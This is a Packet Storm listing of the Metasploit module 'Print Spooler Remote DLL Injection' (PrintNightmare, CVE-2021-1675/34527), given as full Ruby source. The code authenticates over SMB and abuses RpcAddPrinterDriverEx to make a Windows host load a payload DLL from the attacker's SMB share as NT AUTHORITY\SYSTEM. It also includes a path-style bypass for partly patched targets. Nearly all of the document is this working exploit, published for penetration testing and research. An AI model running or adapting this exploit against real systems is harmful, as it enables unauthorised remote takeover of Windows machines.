Lucene search

K
packetstormChristophe de la Fuente, Spencer McIntyre, Zhiniang Peng, cube0x0, Xuefeng Li, Zhang Yunhai, Piotr Madej, Zhipeng Huo, metasploit.comPACKETSTORM:167261
HistoryMay 25, 2022 - 12:00 a.m.

Print Spooler Remote DLL Injection

2022-05-2500:00:00
Christophe de la Fuente, Spencer McIntyre, Zhiniang Peng, cube0x0, Xuefeng Li, Zhang Yunhai, Piotr Madej, Zhipeng Huo, metasploit.com
packetstormsecurity.com
392
metasploit
remote code execution
authenticated
dcerpc
print spooler
nt authority\system

EPSS

0.967

Percentile

99.7%

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'windows_error'  
require 'ruby_smb'  
require 'ruby_smb/error'  
  
class MetasploitModule < Msf::Exploit::Remote  
  
prepend Msf::Exploit::Remote::AutoCheck  
include Msf::Exploit::Remote::DCERPC  
include Msf::Exploit::Remote::SMB::Client::Authenticated  
include Msf::Exploit::Remote::SMB::Server::Share  
include Msf::Exploit::Retry  
include Msf::Exploit::EXE  
include Msf::Exploit::Deprecated  
  
moved_from 'auxiliary/admin/dcerpc/cve_2021_1675_printnightmare'  
  
PrintSystem = RubySMB::Dcerpc::PrintSystem  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Print Spooler Remote DLL Injection',  
'Description' => %q{  
The print spooler service can be abused by an authenticated remote attacker to load a DLL through a crafted  
DCERPC request, resulting in remote code execution as NT AUTHORITY\SYSTEM. This module uses the MS-RPRN  
vector which requires the Print Spooler service to be running.  
},  
'Author' => [  
'Zhiniang Peng', # vulnerability discovery / research  
'Xuefeng Li', # vulnerability discovery / research  
'Zhipeng Huo', # vulnerability discovery  
'Piotr Madej', # vulnerability discovery  
'Zhang Yunhai', # vulnerability discovery  
'cube0x0', # PoC  
'Spencer McIntyre', # metasploit module  
'Christophe De La Fuente', # metasploit module co-author  
],  
'License' => MSF_LICENSE,  
'DefaultOptions' => {  
'SRVHOST' => Rex::Socket.source_address  
},  
'Stance' => Msf::Exploit::Stance::Aggressive,  
'Targets' => [  
[  
'Windows', {  
'Platform' => 'win',  
'Arch' => [ ARCH_X64, ARCH_X86 ]  
},  
],  
],  
'DisclosureDate' => '2021-06-08',  
'References' => [  
['CVE', '2021-1675'],  
['CVE', '2021-34527'],  
['URL', 'https://github.com/cube0x0/CVE-2021-1675'],  
['URL', 'https://web.archive.org/web/20210701042336/https://github.com/afwu/PrintNightmare'],  
['URL', 'https://github.com/calebstewart/CVE-2021-1675/blob/main/CVE-2021-1675.ps1'],  
['URL', 'https://github.com/byt3bl33d3r/ItWasAllADream']  
],  
'Notes' => {  
'AKA' => [ 'PrintNightmare' ],  
'Stability' => [CRASH_SERVICE_DOWN],  
'Reliability' => [UNRELIABLE_SESSION],  
'SideEffects' => [  
ARTIFACTS_ON_DISK # the dll will be copied to the remote server  
]  
}  
)  
)  
  
register_advanced_options(  
[  
OptInt.new('ReconnectTimeout', [ true, 'The timeout in seconds for reconnecting to the named pipe', 10 ])  
]  
)  
deregister_options('AutoCheck')  
end  
  
def check  
begin  
connect(backend: :ruby_smb)  
rescue Rex::ConnectionError  
return Exploit::CheckCode::Unknown('Failed to connect to the remote service.')  
end  
  
begin  
smb_login  
rescue Rex::Proto::SMB::Exceptions::LoginError  
return Exploit::CheckCode::Unknown('Failed to authenticate to the remote service.')  
end  
  
begin  
dcerpc_bind_spoolss  
rescue RubySMB::Error::UnexpectedStatusCode => e  
nt_status = ::WindowsError::NTStatus.find_by_retval(e.status_code.value).first  
if nt_status == ::WindowsError::NTStatus::STATUS_OBJECT_NAME_NOT_FOUND  
print_error("The 'Print Spooler' service is disabled.")  
end  
return Exploit::CheckCode::Safe("The DCERPC bind failed with error #{nt_status.name} (#{nt_status.description}).")  
end  
  
@target_arch = dcerpc_getarch  
# see: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/e81cbc09-ab05-4a32-ae4a-8ec57b436c43  
if @target_arch == ARCH_X64  
@environment = 'Windows x64'  
elsif @target_arch == ARCH_X86  
@environment = 'Windows NT x86'  
else  
return Exploit::CheckCode::Detected('Successfully bound to the remote service.')  
end  
  
print_status("Target environment: Windows v#{simple.client.os_version} (#{@target_arch})")  
  
print_status('Enumerating the installed printer drivers...')  
drivers = enum_printer_drivers(@environment)  
@driver_path = "#{drivers.driver_path.rpartition('\\').first}\\UNIDRV.DLL"  
vprint_status("Using driver path: #{@driver_path}")  
  
print_status('Retrieving the path of the printer driver directory...')  
@config_directory = get_printer_driver_directory(@environment)  
vprint_status("Using driver directory: #{@config_directory}") unless @config_directory.nil?  
  
container = driver_container(  
p_config_file: 'C:\\Windows\\System32\\kernel32.dll',  
p_data_file: "\\??\\UNC\\127.0.0.1\\#{Rex::Text.rand_text_alphanumeric(4..8)}\\#{Rex::Text.rand_text_alphanumeric(4..8)}.dll"  
)  
  
case add_printer_driver_ex(container)  
when nil # prevent the module from erroring out in case the response can't be mapped to a Win32 error code  
return Exploit::CheckCode::Unknown('Received unknown status code, implying the target is not vulnerable.')  
when ::WindowsError::Win32::ERROR_PATH_NOT_FOUND  
return Exploit::CheckCode::Vulnerable('Received ERROR_PATH_NOT_FOUND, implying the target is vulnerable.')  
when ::WindowsError::Win32::ERROR_BAD_NET_NAME  
return Exploit::CheckCode::Vulnerable('Received ERROR_BAD_NET_NAME, implying the target is vulnerable.')  
when ::WindowsError::Win32::ERROR_ACCESS_DENIED  
return Exploit::CheckCode::Safe('Received ERROR_ACCESS_DENIED implying the target is patched.')  
end  
  
Exploit::CheckCode::Detected('Successfully bound to the remote service.')  
end  
  
def run  
fail_with(Failure::BadConfig, 'Can not use an x64 payload on an x86 target.') if @target_arch == ARCH_X86 && payload.arch.first == ARCH_X64  
fail_with(Failure::NoTarget, 'Only x86 and x64 targets are supported.') if @environment.nil?  
fail_with(Failure::Unknown, 'Failed to enumerate the driver directory.') if @config_directory.nil?  
  
super  
end  
  
def setup  
if Rex::Socket.is_ip_addr?(datastore['SRVHOST']) && Rex::Socket.addr_atoi(datastore['SRVHOST']) == 0  
fail_with(Exploit::Failure::BadConfig, 'The SRVHOST option must be set to a routable IP address.')  
end  
  
super  
end  
  
def start_service  
file_name << '.dll'  
self.file_contents = generate_payload_dll  
  
super  
end  
  
def primer  
dll_path = unc  
if dll_path =~ /^\\\\([\w:.\[\]]+)\\(.*)$/  
# targets patched for CVE-2021-34527 (but with Point and Print enabled) need to use this path style as a bypass  
# otherwise the operation will fail with ERROR_INVALID_PARAMETER  
dll_path = "\\??\\UNC\\#{Regexp.last_match(1)}\\#{Regexp.last_match(2)}"  
end  
vprint_status("Using DLL path: #{dll_path}")  
  
filename = dll_path.rpartition('\\').last  
container = driver_container(p_config_file: 'C:\\Windows\\System32\\kernel32.dll', p_data_file: dll_path)  
  
3.times do  
add_printer_driver_ex(container)  
end  
  
1.upto(3) do |directory|  
container.driver_info.p_config_file.assign("#{@config_directory}\\3\\old\\#{directory}\\#{filename}")  
break if add_printer_driver_ex(container).nil?  
end  
  
cleanup_service  
end  
  
def driver_container(**kwargs)  
PrintSystem::DriverContainer.new(  
level: 2,  
tag: 2,  
driver_info: PrintSystem::DriverInfo2.new(  
c_version: 3,  
p_name_ref_id: 0x00020000,  
p_environment_ref_id: 0x00020004,  
p_driver_path_ref_id: 0x00020008,  
p_data_file_ref_id: 0x0002000c,  
p_config_file_ref_id: 0x00020010,  
# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/4464eaf0-f34f-40d5-b970-736437a21913  
p_name: "#{Rex::Text.rand_text_alpha_upper(2..4)} #{Rex::Text.rand_text_numeric(2..3)}",  
p_environment: @environment,  
p_driver_path: @driver_path,  
**kwargs  
)  
)  
end  
  
def dcerpc_bind_spoolss  
handle = dcerpc_handle(PrintSystem::UUID, '1.0', 'ncacn_np', ['\\spoolss'])  
vprint_status("Binding to #{handle} ...")  
dcerpc_bind(handle)  
vprint_status("Bound to #{handle} ...")  
end  
  
def enum_printer_drivers(environment)  
response = rprn_call('RpcEnumPrinterDrivers', p_environment: environment, level: 2)  
response = rprn_call('RpcEnumPrinterDrivers', p_environment: environment, level: 2, p_drivers: [0] * response.pcb_needed, cb_buf: response.pcb_needed)  
fail_with(Failure::UnexpectedReply, 'Failed to enumerate printer drivers.') unless response.p_drivers&.length  
DriverInfo2.read(response.p_drivers.map(&:chr).join)  
end  
  
def get_printer_driver_directory(environment)  
response = rprn_call('RpcGetPrinterDriverDirectory', p_environment: environment, level: 2)  
response = rprn_call('RpcGetPrinterDriverDirectory', p_environment: environment, level: 2, p_driver_directory: [0] * response.pcb_needed, cb_buf: response.pcb_needed)  
fail_with(Failure::UnexpectedReply, 'Failed to obtain the printer driver directory.') unless response.p_driver_directory&.length  
RubySMB::Field::Stringz16.read(response.p_driver_directory.map(&:chr).join).encode('ASCII-8BIT')  
end  
  
def add_printer_driver_ex(container)  
flags = PrintSystem::APD_INSTALL_WARNED_DRIVER | PrintSystem::APD_COPY_FROM_DIRECTORY | PrintSystem::APD_COPY_ALL_FILES  
  
begin  
response = rprn_call('RpcAddPrinterDriverEx', p_name: "\\\\#{datastore['RHOST']}", p_driver_container: container, dw_file_copy_flags: flags)  
rescue RubySMB::Error::UnexpectedStatusCode => e  
nt_status = ::WindowsError::NTStatus.find_by_retval(e.status_code.value).first  
message = "Error #{nt_status.name} (#{nt_status.description})"  
if nt_status == ::WindowsError::NTStatus::STATUS_PIPE_BROKEN  
# STATUS_PIPE_BROKEN is the return value when the payload is executed, so this is somewhat expected  
print_status('The named pipe connection was broken, reconnecting...')  
reconnected = retry_until_truthy(timeout: datastore['ReconnectTimeout'].to_i) do  
dcerpc_bind_spoolss  
rescue RubySMB::Error::CommunicationError, RubySMB::Error::UnexpectedStatusCode => e  
false  
else  
true  
end  
  
unless reconnected  
vprint_status('Failed to reconnect to the named pipe.')  
return nil  
end  
  
print_status('Successfully reconnected to the named pipe.')  
retry  
else  
print_error(message)  
end  
  
return nt_status  
end  
  
error = ::WindowsError::Win32.find_by_retval(response.error_status.value).first  
message = "RpcAddPrinterDriverEx response #{response.error_status}"  
message << " #{error.name} (#{error.description})" unless error.nil?  
vprint_status(message)  
error  
end  
  
def rprn_call(name, **kwargs)  
request = PrintSystem.const_get("#{name}Request").new(**kwargs)  
  
begin  
raw_response = dcerpc.call(request.opnum, request.to_binary_s)  
rescue Rex::Proto::DCERPC::Exceptions::Fault => e  
fail_with(Failure::UnexpectedReply, "The #{name} Print System RPC request failed (#{e.message}).")  
end  
  
PrintSystem.const_get("#{name}Response").read(raw_response)  
end  
  
class DriverInfo2Header < BinData::Record  
endian :little  
  
uint32 :c_version  
uint32 :name_offset  
uint32 :environment_offset  
uint32 :driver_path_offset  
uint32 :data_file_offset  
uint32 :config_file_offset  
end  
  
# this is a partial implementation that just parses the data, this is *not* the same struct as PrintSystem::DriverInfo2  
# see: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/2825d22e-c5a5-47cd-a216-3e903fd6e030  
DriverInfo2 = Struct.new(:header, :name, :environment, :driver_path, :data_file, :config_file) do  
def self.read(data)  
header = DriverInfo2Header.read(data)  
new(  
header,  
RubySMB::Field::Stringz16.read(data[header.name_offset..]).encode('ASCII-8BIT'),  
RubySMB::Field::Stringz16.read(data[header.environment_offset..]).encode('ASCII-8BIT'),  
RubySMB::Field::Stringz16.read(data[header.driver_path_offset..]).encode('ASCII-8BIT'),  
RubySMB::Field::Stringz16.read(data[header.data_file_offset..]).encode('ASCII-8BIT'),  
RubySMB::Field::Stringz16.read(data[header.config_file_offset..]).encode('ASCII-8BIT')  
)  
end  
end  
end  
`